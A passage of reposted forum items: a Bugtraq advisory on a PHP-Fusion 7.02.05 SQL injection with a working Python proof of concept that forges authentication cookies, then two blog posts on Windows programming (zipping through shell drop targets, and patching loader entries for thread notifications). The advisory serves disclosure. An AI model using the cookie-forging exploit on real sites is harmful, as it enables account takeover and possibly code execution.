  18. PHP-Fusion 7.02.05 SQL Injection From: Krzysztof Katowicz-Kowalewski <vnd () vndh net> Date: Sat, 16 Feb 2013 15:57:51 +0100 SQL Injection vulnerability exists in releases since 7.02.01 till 7.02.05 of PHP-Fusion CMS. The vulnerability allows the attacker to authenticate as an arbitrary user and act with its rights which might lead to the code execution. Because of exploitation simplicity, the potential risk is very high. Magic Quotes feature protects against this coding flaw. Version 7.02.06 fixes presented security problem. Affected file: includes/classes/Authenticate.class.php 023: define("COOKIE_USER", COOKIE_PREFIX."user"); 024: define("COOKIE_ADMIN", COOKIE_PREFIX."admin"); 147: $cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]); 150: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr; 153: $result = dbquery( 154: "SELECT * FROM ".DB_USERS." 155: WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0' 156: LIMIT 1" 157: ); 195: $cookieDataArr = explode(".", $_COOKIE[COOKIE_ADMIN]); 197: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr; 200: $result = dbquery( 201: "SELECT user_admin_algo, user_admin_salt FROM ".DB_USERS." 202: WHERE user_id='".$userID."' AND user_level>101 AND user_status='0' AND user_actiontime='0' 203: LIMIT 1" 204: ); # Proof of Concept # PHP-Fusion 7.02.05 # Authentication spoofing # Author: vnd at vndh.net from http import client from time import time import hashlib import hmac import re def generateCookie(address, path, userid, password = 'admin'): connection = client.HTTPConnection(address) connection.request("GET", "%s/profile.php?lookup=%d" % (path, userid)) response = connection.getresponse() if response.status != 200: raise BaseException("bad status") cookies = response.getheader("Set-Cookie") pattern = re.compile("([A-Z0-9\_]+)lastvisit", re.IGNORECASE) cookiesearch = pattern.search(cookies) if cookiesearch == None: raise BaseException("bad cookie") cookiename = cookiesearch.groups() cookiename = "%suser" % cookiename[0] source = response.read() connection.close() source = source.decode("utf-8") pattern = re.compile("<!--profile_user_name-->(.*)<") username = pattern.search(source).groups() username = username[0] injection = "-1' union select %d,'%s','sha256','','%s'%s,101%s -- " % (userid, username, password, ",0" * 15,",0" * 12) expiration = str(int(time() + 86400)) userhash = "" userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest() userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest() return (cookiename, ".".join([injection, expiration, userhash])) Reference: https://vndh.net/note:php-fusion-70205-sql-injection Patched version: http://www.php-fusion.co.uk/downloads.php?cat_id=23&download_id=264 Sursa: Bugtraq: PHP-Fusion 7.02.05 SQL Injection
  19. [h=3]Dropping Like Files – Zipping Without Libraries[/h]adeyblue @ 6:46 pm Contents: Introduction Creating the Zip File Creating the IDropTarget Doing the Zipping The ZipFileDataObject Finishing up [h=2]Introduction[/h] We haven’t been living under rocks. We know that since Windows XP, it’s had zip file extraction and creation. what it doesn’t have is a defined API so us normals can leverage it programmatically. But we have ways and means… Think about it, the usual way you interact with zip files is through the shell. You highlight a bunch a files and “Send To” a Compressed Folder or drag them into an existing folder and its done. There’s obviously some code behind that’s actually doing those things, and since you can do from ‘Open File’ dialogs and the like, it can’t be code within the Explorer executable. You can look through all the dll exports you want, but you’ll only find that MSDN isn’t sandbagging here and there are no real defined functions to create zips. What you will find in shell32 and friends are real functions and interfaces to duplicate the Shell’s methods of dragging, dropping and sending to, so that seems a good lead to follow. [h=2]Creating the Zip File[/h] There’s no point doing the equivalent of the highlighting, if we’ve nowhere to equivalently drop it on. The zip file can be created in any old way, all that matters is that exists. The method below uses the Shell interfaces to create it, both because it doesn’t seem to be too well documented how to do it that way, and because we need to use them later anyway. Several methods are available, but since zip files have been available since XP we’ll go with the most compatible. IShellFolder* pDesktopFolder = NULL; SHGetDesktopFolder(&pDesktopFolder); All interactions, using convenience functions or not, start at the desktop folder which is the root of the shell’s namespace. From there, you can navigate to other folders with the BindToObject member function. Fine and dandy, except that the function takes something called an Item-Id-List and not a human understandable path. Time to call in the big gun, namely ParseDisplayName. pDesktopFolder->ParseDisplayName( NULL, // HWND - we have no window NULL, // IBindCtx* - we have no specific parsing options to set pDirectoryOfZip, // LPWSTR - The folder that will contain our file NULL, // ULONG* - the number of characters in the folder name that were used in parsing &pPidl, // PIDLIST_RELATIVE* - the equivalent of pDirectoryOfZip in shell talk NULL // ULONG* - attributes of the object to query, we don't want to ); We now have the address of the folder, but we’re still only at the sorting office. Let’s go find the house, our SatNav is the BindToObject function. IShellFolder* pZipFileParentFolder = NULL; pDesktopFolder->BindToObject( pPidl, // PIDLIST_RELATIVE - the address of the thing to bind to NULL, // IBindCtx* - specific options for binding, we have none IID_PPV_ARGS(&pZipFileParentFolder) // REFIID & ppv - the object interface we want, and the pointer to it ); That done, pDesktopFolder can be Release-d and pPidl can be freed since we’ve finished with them. The next step is to actually create the file on the disk, for this we need to query the IShellFolder for its storage interface: IStorage* pZipFileParentFolderStorage = NULL; pZipFileFolder->QueryInterface(IID_PPV_ARGS(&pZipFileParentFolderStorage)); In shell folder parlance, folder objects are represented by IStorage interfaces and the files within them are treated as IStream-s within that storage[1]. We could now enumerate the folder contents with pStorage->EnumElements(), or as is our want, finally and actually create the zip file with CreateStream() pZipFileParentFolderStorage->CreateStream( pZipFileName, // the name of the stream (file) to create STGM_CREATE, // flags controlling the creation of the stream, create is the only thing we need 0, 0, // next two params are reserved &pZipStream // the stream represeting the folder ); If that succeeds, we don’t need to do anything with pZipStream, just creating it is enough to put the zip file on the hard drive. It’s now ready to have stuff (pseudo) dropped on it but for that we need another interface, one that allows drag and drop simulation, IDropTarget. [h=2]Creating the IDropTarget[/h] There’s nothing really new to what we did above here. The only obstacle in our way to our goal of GetUIObjectOf() is that it also takes a ItemIdList and not a file name, but we now know how to do that. LPITEMIDLIST pZipPidl = NULL; pZipFileFolder->ParseDisplayName( NULL, NULL, pZipFileName, NULL, &pZipPidl, NULL ); IDropTarget* pDropTarget = NULL; pZipFileFolder->GetUIObjectOf( NULL, // HWND - we still don't have a window 1, // ULONG - number of itemidlists in the next parameter &pZipPidl, // LPITEMIDLIST* - array of itemidlists to get the object for IID_IDropTarget, // REFIID - id of the interface we want NULL, // UINT* - reserved parameter reinterpret_cast<void**>(&pDropTarget) // void** - array of returned interfaces, we only have one ); And that’s it, we now have a drop target interface ready to simulate the dragging and dropping [2]. The only things we need now, are the files to compress. [h=2]Doing the Zipping[/h] IDropTarget has four methods. The two most interesting ones DragEnter and Drop, take something called an IDataObject that encapsulates the thing being dropped or dragged. If you looked at the MSDN page for GetUIObjectOf, you’ll have seen that apart from telling you to do something you can’t [3], it can retrieve these IDataObject interfaces. Well, this seems simple: IDataObject* pFileData = NULL; // pseudo function, its content isn't important GetIDataObjectForFile(L"C:\\myfile.ext", &pFileData); DWORD effect = DROPEFFECT_COPY; POINTL pt = {0}; pDropTarget->DragEnter( pFileData, // IDataObject* - the thing(s) we're supposedly dragging MK_LBUTTON, // DWORD - Mouse and key flags, we pretend we're holding the left mouse button pt, // POINTL - mouse coords of the drag, pretend the we've dragged the object at {0, 0} &effect // DWORD* - the type of drag to effect, we want to copy the object into it ); effect &= DROPEFFECT_COPY; // mask off any flags offered we don't understand or want pDropTarget->Drop( pFileData, // all these parameters are the same as for DragEnter MK_LBUTTON, pt, &effect }; Gee thanks Windows, we know it’s empty that’s why we’re trying to put something in it. As is usual, the generic failure message displayed to users is horribly lacking in useful info for us developers. Fortunately, after Ok-ing the message box [4], the return value of Drop gives us a bit more of an idea of the problem. Here, it’s 0×80040064, DV_E_FORMATETC, or “Invalid FORMATETC structure”. Well, I did say a bit. In essence it means the format of the data in the IDataObject is incompatble with what’s expected by the drop target. IDataObject’s allow enumeration of their formats so we can see what we’re trying to send: Format c07d (Shell IDList Array, CFSTR_SHELLIDLIST) Format c0ad (Preferred DropEffect, CFSTR_PREFERREDDROPEFFECT) IDropTarget’s don’t though, so let’s dive into its disassembly. mov eax, [ebp+pDataObject] .... push 0Fh pop ecx mov word ptr [ebp+var_18], cx; set this word value to 0xf (15) ... lea edx, [ebp+var_18]; Get ptr to something. If it's a struct, that 15 value is the first member push edx ; send it as second argument, first in prototype, so it is a struct. A FORMATETC struct ... mov ecx, [eax] push eax ; send the this ptr as first stack argument, not counted in prototype call dword ptr [ecx+0Ch] ; call fourth function in IDataObject vtable, that's GetData(FORMATETC*, STGMEDIUM*) The zip file’s drop target looks for data in a standard clipboard format (less than CF_MAX), while the only ones being offered are registered formats (greater than 0xc000), hence the error. Format 15 is CF_HDROP, the same format as the WM_DROPFILES message provides, except in this case the HDROP handle is wrapped in the data object. The format of data represented by a HDROP handle is actually documented on MSDN so all we need to do is wrap that up in a DataObject facade and send that to DragEnter() and Drop(). [h=3]The ZipFileDataObject[/h] If we’re creating our own IDataObject, that’s nine functions that need implementing above and beyond IUnknown. Or is it. Our object only has to be read from, and only supports the one format type, that cuts the number of functions to implement to four and two of those are almost identical. Other than the interface functions; a constructor, destructor and a method to add files are also needed but all in all, the facade barely covers 70 functional lines. The constructor sets up an empty HDROP: HGLOBAL hMem; size_t curSize; LONG refCount; ZipFileDataObject() { // keep track of our big our allocation is // the two WCHARs are the double-null termination curSize = sizeof(DROPFILES) + (2 * sizeof(WCHAR)); hMem = GlobalAlloc(GHND, curSize); if(hMem) { // fill in the bits we need DROPFILES* pFiles = static_cast<DROPFILES*>(GlobalLock(hMem)); // unicode filenames pFiles->fWide = TRUE; // offset of filename list, straight after the structure pFiles->pFiles = sizeof(DROPFILES); GlobalUnlock(hMem); } refCount = 1; } The destructor frees this memory, and the IUnknown functions are as bog standard as they always are. The most difficult function to create is the one to add the filenames to the HDROP, and that’s not very hard at all: void AddFileToObject(LPCWSTR fileName) { size_t fileNameBytes = ((wcslen(fileName) + 1) * sizeof(WCHAR)); size_t newSize = curSize + fileNameBytes; HGLOBAL hNewMem = GlobalReAlloc(hMem, newSize, GMEM_ZEROINIT); if(hNewMem) { hMem = hNewMem; // get a pointer to the memory char* pDataPos = static_cast<char*>(GlobalLock(hMem)); // position it at the end of the current file name list pDataPos += (curSize - (2 * sizeof(WCHAR))); // and copy in this filename // we want the NULL to be copied too, since that separates the names in the list memcpy(pDataPos, fileName, fileNameBytes); GlobalUnlock(hNewMem); curSize = newSize; } } IDataObject::GetData and IDataObject::GetDataHere are the nearly identical functions. The only difference been that in the former, we have to allocate the out buffer, in the latter it is already supplied. It makes sense then to have a helper function do the same heavy lifting: STDMETHODIMP GetData(FORMATETC* pEtc, STGMEDIUM* pStg) { // check for valid pointers if(!(pEtc && pStg)) { return E_POINTER; } // check the request is for something we can supply if(pEtc->cfFormat != CF_HDROP || (pEtc->tymed & TYMED_HGLOBAL) == 0) { return DV_E_FORMATETC; } // then fill in the data return FillInStgMedium(pStg, TRUE); } STDMETHODIMP GetDataHere(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } // since the buffer is supplied here, we do some additional checks if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || // check the caller wants all the data (pEtc->dwAspect != DVASPECT_CONTENT) // and the actual data at that ) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, FALSE); } HRESULT FillInStgMedium(STGMEDIUM* pStg, BOOL shouldAlloc) { HGLOBAL hOutMem = NULL; if(shouldAlloc) { // allocate a big enough buffer if(!(hOutMem = GlobalAlloc(GHND, curSize))) { return E_OUTOFMEMORY; } // and fill in the buffer description of what type it is pStg->tymed = TYMED_HGLOBAL; pStg->pUnkForRelease = NULL; pStg->hGlobal = hOutMem; } else { // otherwise, check there was a passed in buffer and its big enough // for our DROPFILES and trailing filenames if(!(pStg->hGlobal && (GlobalSize(pStg->hGlobal) >= curSize))) { return STG_E_MEDIUMFULL; } hOutMem = pStg->hGlobal; } // OK, we're good, copy over all the data PVOID pOutData = GlobalLock(hOutMem); PVOID pOurData = GlobalLock(hMem); memcpy(pOutData, pOurData, curSize); GlobalUnlock(hOutMem); GlobalUnlock(hMem); return S_OK; } The two other functions are trivial to implement and just check what we can deliver STDMETHODIMP QueryGetData(FORMATETC* pEtc) { // again check the pointer if(!pEtc) { return E_POINTER; } // and if it conforms to our ideal if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { // fail if not return DV_E_FORMATETC; } // succeed if so return S_OK; } STDMETHODIMP GetCanonicalFormatEtc(FORMATETC* pInEtc, FORMATETC* pOutEtc) { if(!pInEtc) { return E_POINTER; } if(pInEtc->cfFormat != CF_HDROP) { return DV_E_FORMATETC; } // Eschew filling in pOutEtc by using the // "It would be the same as the input one" return value return DATA_S_SAMEFORMATETC; } [h=2]Finishing Up[/h] All that’s left is to put it all together, add some file names and drop our new data object. Bing-oh no. That would be it, except for one thing. The zip folder’s DropTarget creates a new thread to do the actual zipping, unfortunately it uses the SHCreateThread function to do so. Unfortunate because that function returns neither the thread handle nor its id. Of course, with no way of being able to identify it, we, nor the zipping code can know when it has finished its work. When called from Explorer it’s no problem since that is always running, but if our program exits while the thread is in progress we could have anything from missing files to a completely corrupt zip. There’s an easy workaround for this problem, in the shape of change notifications. Set one up for size changes, and when you stop receiving them for the zip file we can be confident the process has finished. That finally gives us a fully workable program that looks something like this: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <shlwapi.h> #include <shellapi.h> #include <shlobj.h> #include <ole2.h> #include <cstdio> class ZipFileDataObject : public IDataObject { HGLOBAL hMem; size_t curSize; LONG refCount; public: ZipFileDataObject() { curSize = sizeof(DROPFILES) + (2 * sizeof(WCHAR)); hMem = GlobalAlloc(GHND, curSize); if(hMem) { DROPFILES* pFiles = static_cast<DROPFILES*>(GlobalLock(hMem)); pFiles->fWide = TRUE; pFiles->pFiles = sizeof(DROPFILES); GlobalUnlock(hMem); } refCount = 1; } ~ZipFileDataObject() { GlobalFree(hMem); } void AddFileToObject(LPCWSTR fileName) { size_t fileNameBytes = ((wcslen(fileName) + 1) * sizeof(WCHAR)); size_t newSize = curSize + fileNameBytes; HGLOBAL hNewMem = GlobalReAlloc(hMem, newSize, GMEM_ZEROINIT); if(hNewMem) { hMem = hNewMem; char* pDataPos = static_cast<char*>(GlobalLock(hMem)); // the last two bytes are the terminating double null pDataPos += (curSize - (2 * sizeof(WCHAR))); // and copy in this filename // we want the NULL to be copied too, since that separates the names in the list memcpy(pDataPos, fileName, fileNameBytes); GlobalUnlock(hNewMem); curSize = newSize; } } // IUnknown STDMETHODIMP QueryInterface(REFIID iid, void** ppv) { if(!ppv) return E_POINTER; *ppv = NULL; HRESULT hr = S_OK; if(iid == IID_IUnknown || iid == IID_IDataObject) { *ppv = this; AddRef(); } else hr = E_NOINTERFACE; return hr; } STDMETHODIMP_(ULONG) AddRef() { return InterlockedIncrement(&refCount); } STDMETHODIMP_(ULONG) Release() { LONG ret = InterlockedDecrement(&refCount); if(ret == 0) { delete this; } return ret; } HRESULT FillInStgMedium(STGMEDIUM* pStg, BOOL shouldAlloc) { HGLOBAL hOutMem = NULL; if(shouldAlloc) { if(!(hOutMem = GlobalAlloc(GHND, curSize))) { return E_OUTOFMEMORY; } pStg->tymed = TYMED_HGLOBAL; pStg->pUnkForRelease = NULL; pStg->hGlobal = hOutMem; } else { if(!(pStg->hGlobal && (GlobalSize(pStg->hGlobal) >= curSize))) { return STG_E_MEDIUMFULL; } hOutMem = pStg->hGlobal; } PVOID pOutData = GlobalLock(hOutMem); PVOID pOurData = GlobalLock(hMem); memcpy(pOutData, pOurData, curSize); GlobalUnlock(hOutMem); GlobalUnlock(hMem); return S_OK; } // IDataObject STDMETHODIMP GetData(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } if(pEtc->cfFormat != CF_HDROP || (pEtc->tymed & TYMED_HGLOBAL) == 0) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, TRUE); } STDMETHODIMP GetDataHere(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, FALSE); } STDMETHODIMP QueryGetData(FORMATETC* pEtc) { if(!pEtc) { return E_POINTER; } if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || (pEtc->dwAspect != DVASPECT_CONTENT) ) { return DV_E_FORMATETC; } return S_OK; } STDMETHODIMP GetCanonicalFormatEtc(FORMATETC* pInEtc, FORMATETC* pOutEtc) { if(!pInEtc) { return E_POINTER; } if(pInEtc->cfFormat != CF_HDROP) { return DV_E_FORMATETC; } return DATA_S_SAMEFORMATETC; } STDMETHODIMP SetData(FORMATETC*, STGMEDIUM*, BOOL) { return E_NOTIMPL; } STDMETHODIMP EnumFormatEtc(DWORD, IEnumFORMATETC**) { return E_NOTIMPL; } STDMETHODIMP DAdvise(FORMATETC*, DWORD, IAdviseSink*, DWORD*) { return E_NOTIMPL; } STDMETHODIMP DUnadvise(DWORD) { return E_NOTIMPL; } STDMETHODIMP EnumDAdvise(IEnumSTATDATA**) { return E_NOTIMPL; } }; #define FAIL_ON_ERR(exp) \ hr = exp; \ if(FAILED(hr)) \ { \ printf("%s failed with error %#x\n", #exp, hr); \ return NULL; \ } IDropTarget* CreateZipTarget(LPCWSTR pFolderName, LPCWSTR pZipFileName) { HRESULT hr = S_OK; IShellFolder* pFolder = NULL; IStorage* pZipFileParentFolderStorage = NULL; IDropTarget* pTarget = NULL; IStream* pZipStream = NULL; IShellFolder* pZipFileFolder = NULL; LPITEMIDLIST pFolderPidl = NULL, pFilePidl = NULL; __try { FAIL_ON_ERR(SHGetDesktopFolder(&pFolder)); FAIL_ON_ERR(pFolder->ParseDisplayName(NULL, NULL, const_cast<PWSTR>(pFolderName), NULL, &pFolderPidl, NULL)); FAIL_ON_ERR(pFolder->BindToObject(pFolderPidl, NULL, IID_PPV_ARGS(&pZipFileFolder))); FAIL_ON_ERR(pZipFileFolder->QueryInterface(IID_PPV_ARGS(&pZipFileParentFolderStorage))); FAIL_ON_ERR(pZipFileParentFolderStorage->CreateStream(pZipFileName, STGM_FAILIFTHERE | STGM_CREATE, 0, 0, &pZipStream)); FAIL_ON_ERR(pZipFileFolder->ParseDisplayName(NULL, NULL, const_cast<PWSTR>(pZipFileName), NULL, &pFilePidl, NULL)); FAIL_ON_ERR(pZipFileFolder->GetUIObjectOf(NULL, 1, (LPCITEMIDLIST*)&pFilePidl, IID_IDropTarget, 0, (PVOID*)&pTarget)); return pTarget; } __finally { if(pZipFileFolder) pZipFileFolder->Release(); if(pFolder) pFolder->Release(); if(pZipFileParentFolderStorage) pZipFileParentFolderStorage->Release(); if(pZipStream) pZipStream->Release(); CoTaskMemFree(pFilePidl); CoTaskMemFree(pFolderPidl); } } void GetDirAndEventHandles(LPCWSTR pDirName, HANDLE* phDir, HANDLE * phEvent) { *phDir = CreateFile( pDirName, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); *phEvent = CreateEvent(NULL, FALSE, FALSE, NULL); } int __cdecl wmain(int argc, wchar_t** argv) { if(argc <= 2) { return puts("Usage: ZipFiles.exe OutputDir file1, file2, ..."); } OleInitialize(NULL); WCHAR zipFileFolder[MAX_PATH]; LPCWSTR pAbsoluteZipFolder = argv[1]; LPCWSTR pZipFileName = L"files.zip"; if(PathIsRelative(argv[1])) { GetFullPathName(argv[1], ARRAYSIZE(zipFileFolder), zipFileFolder, NULL); pAbsoluteZipFolder = zipFileFolder; } IDropTarget* pDropTarget = CreateZipTarget(pAbsoluteZipFolder, pZipFileName); if(pDropTarget) { ZipFileDataObject* pZfdo = new ZipFileDataObject(); for(int i = 2; i < argc; ++i) { pZfdo->AddFileToObject(argv[i]); } POINTL pt = {0}; DWORD effect = DROPEFFECT_COPY; HRESULT hr = pDropTarget->DragEnter(pZfdo, MK_LBUTTON, pt, &effect); if(SUCCEEDED(hr)) { // grab handles to the directory containing the zip, and a bog standard event HANDLE hDir, hEvent; GetDirAndEventHandles(pAbsoluteZipFolder, &hDir, &hEvent); // setup for the notifications BYTE notifyBuffer[sizeof(FILE_NOTIFY_INFORMATION) + (MAX_PATH * sizeof(WCHAR))] = {0}; OVERLAPPED ol = {0}; ol.hEvent = hEvent; // and start the monitoring ReadDirectoryChangesW( hDir, notifyBuffer, sizeof(notifyBuffer), FALSE, FILE_NOTIFY_CHANGE_SIZE, NULL, &ol, NULL ); // then do the drop as normal effect &= DROPEFFECT_COPY; hr = pDropTarget->Drop(pZfdo, MK_LBUTTON, pt, &effect); pDropTarget->Release(); pZfdo->Release(); if(FAILED(hr)) { printf("Failed to drop files because of error %#x\n", hr); CloseHandle(hDir); CloseHandle(hEvent); OleUninitialize(); return 1; } // Timeout our zip modification, it should be finished // if we don't get any after this period DWORD zipLastModified = GetTickCount(); DWORD zipModificationTimeout = 5000; while(((GetTickCount() - zipLastModified) >= zipModificationTimeout) && (WaitForSingleObject(hEvent, zipModificationTimeout) == WAIT_OBJECT_0) ) { // we got a notifications, process them DWORD numBytes = 0; GetOverlappedResult(hDir, &ol, &numBytes, FALSE); BYTE* pIter = notifyBuffer, *pEnd = pIter + numBytes; FILE_NOTIFY_INFORMATION* pFni = NULL; do { pFni = reinterpret_cast<FILE_NOTIFY_INFORMATION*>(pIter); // if its an update that pertains to our zip, update the modified time if(pFni->Action == FILE_ACTION_MODIFIED && wcsnicmp(pFni->FileName, pZipFileName, pFni->FileNameLength / sizeof(WCHAR)) == 0 ) { zipLastModified = GetTickCount(); } pIter += pFni->NextEntryOffset; } // there can be multiple notificatons per call, make sure we catch 'em all while((pIter < pEnd) && pFni->NextEntryOffset); // anf kick off the next batch ReadDirectoryChangesW( hDir, notifyBuffer, sizeof(notifyBuffer), FALSE, FILE_NOTIFY_CHANGE_SIZE, NULL, &ol, NULL ); } // if we're here, we've finished CloseHandle(hEvent); CloseHandle(hDir); } } OleUninitialize(); return 0; } [1]: As zip files contain other files, zipfldr.dll (the zip file provider) lets you create IStorage interfaces on them. You can also BindToObject() on them directly and get an IShellFolder interface representing the zip file and its contents. [2]: You can create drop targets for any type of file not just zips. What happens when you drag and drop things onto them though, is defined by the filetype. Zip files will compress the files, executable will launch with them as the arguments, etc. [3]: It tells you to use IID_PPV_ARGS, but the reserved parameter in between the REFIID and void** arguments stops it from expanding properly. [4]: This is one of the downsides of using the zipping functionality, it assumes it’s running in an application with an always on UI like Explorer. Apart from error message dialogs, it also displays progress bars when zipping takes place. Sursa: Dropping Like Files – Zipping Without Libraries
  20. [h=3]Process Thread Creation Notification – The Easy Way[/h]adeyblue @ 3:22 am If what you’re writing already requires a dll, or you can leverage an existing one then you’re already set and can use the fact that DllMain gets called when threads are created and destructed to your advantage. If you’re not, or can’t then you’re pretty much stuck for an answer. Conventional wisdom on the web seems to revolve around hooking CreateThread. However, with several methods of creating threads called at various levels of the Win32 system, that isn’t always sufficient, especially if you want to execute code in the thread context. Dll thread_attach notifications work because when threads are created and torn down, ntdll loops around the internal structures corresponding to each module loaded in the process and calls their entry point if they meet certain criteria. The structure for the exe is included in the enumeration but as it doesn’t identify as a dll, its entry point isn’t called. The thing to do then, is modify it to a) look like a dll and make it think our entry point is a DllMain. Usually this poking around officially undocumented stuff is at least a slight pain (after all you’re not meant to be touching it), in this case however the structure is a single call away. // in ntdll.dll EXTERN_C NTSYSAPI NTSTATUS NTAPI LdrFindEntryForAddress( HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppEntry ); You give it an address in a module, and it gives you a pointer to the structure. Seems like a fair trade to me. Here’s what’s in it. struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; This is the XP version layout. More recent versions have appended extra fields, but we ignore them. The three fields of interest are BaseAddress, EntryPoint, and Flags. Entrypoint and Flags are self-explanatory, BaseAddress though? Yep, as well as checking the flags, the looping code also excludes those whose BaseAddress is the same as GetModuleHandle(NULL). This might sound like it could be a bit disabling to the program, especially if you know that GetModuleHandle can also loop over these structures. It isn’t in practice thought, only affecting calls to GetModuleHandle(), the value returned from GetModuleHandle(NULL) is cached elsewhere so modifying the entry leaves it unaffected. Setting the new entrypoint to a DllMain-a-like is easy enough, and the BaseAddress value can be changed to BaseAddress += 2 (this enables it to still be used in kernel32 functions if anybody ever does GetModuleHandle()), yet we’ve neglected the flag values. // // Loader Data Table Entry Flags, from ReactOS // #define LDRP_STATIC_LINK 0x00000002 #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_LOAD_IN_PROGRESS 0x00001000 #define LDRP_UNLOAD_IN_PROGRESS 0x00002000 #define LDRP_ENTRY_PROCESSED 0x00004000 #define LDRP_ENTRY_INSERTED 0x00008000 #define LDRP_CURRENT_LOAD 0x00010000 #define LDRP_FAILED_BUILTIN_LOAD 0x00020000 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 #define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 #define LDRP_IMAGE_NOT_AT_BASE 0x00200000 #define LDRP_COR_IMAGE 0x00400000 #define LDRP_COR_OWNS_UNMAP 0x00800000 #define LDRP_SYSTEM_MAPPED 0x01000000 #define LDRP_IMAGE_VERIFYING 0x02000000 #define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 #define LDRP_ENTRY_NATIVE 0x08000000 #define LDRP_REDIRECTED 0x10000000 #define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 #define LDRP_MM_LOADED 0x40000000 #define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 There are a lot of them, yet we only need concern ourselves with three. LDRP_IMAGE_DLL and LDRP_PROCESS_ATTACH_CALLED need to be set to signal that we are a dll and that we’ve had our init code called. LDRP_DONT_CALL_FOR_THREADS needs to be clear, because being called for threads is exactly what we’re after! So, putting it all into motion: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } And running it produces: Thread attach : 4208 Thread attach : 3052 Thread attach : 2076 Thread attach : 3144 Thread attach : 1476 Thread attach : 516 Thread attach : 4224 Thread attach : 4320 Thread attach : 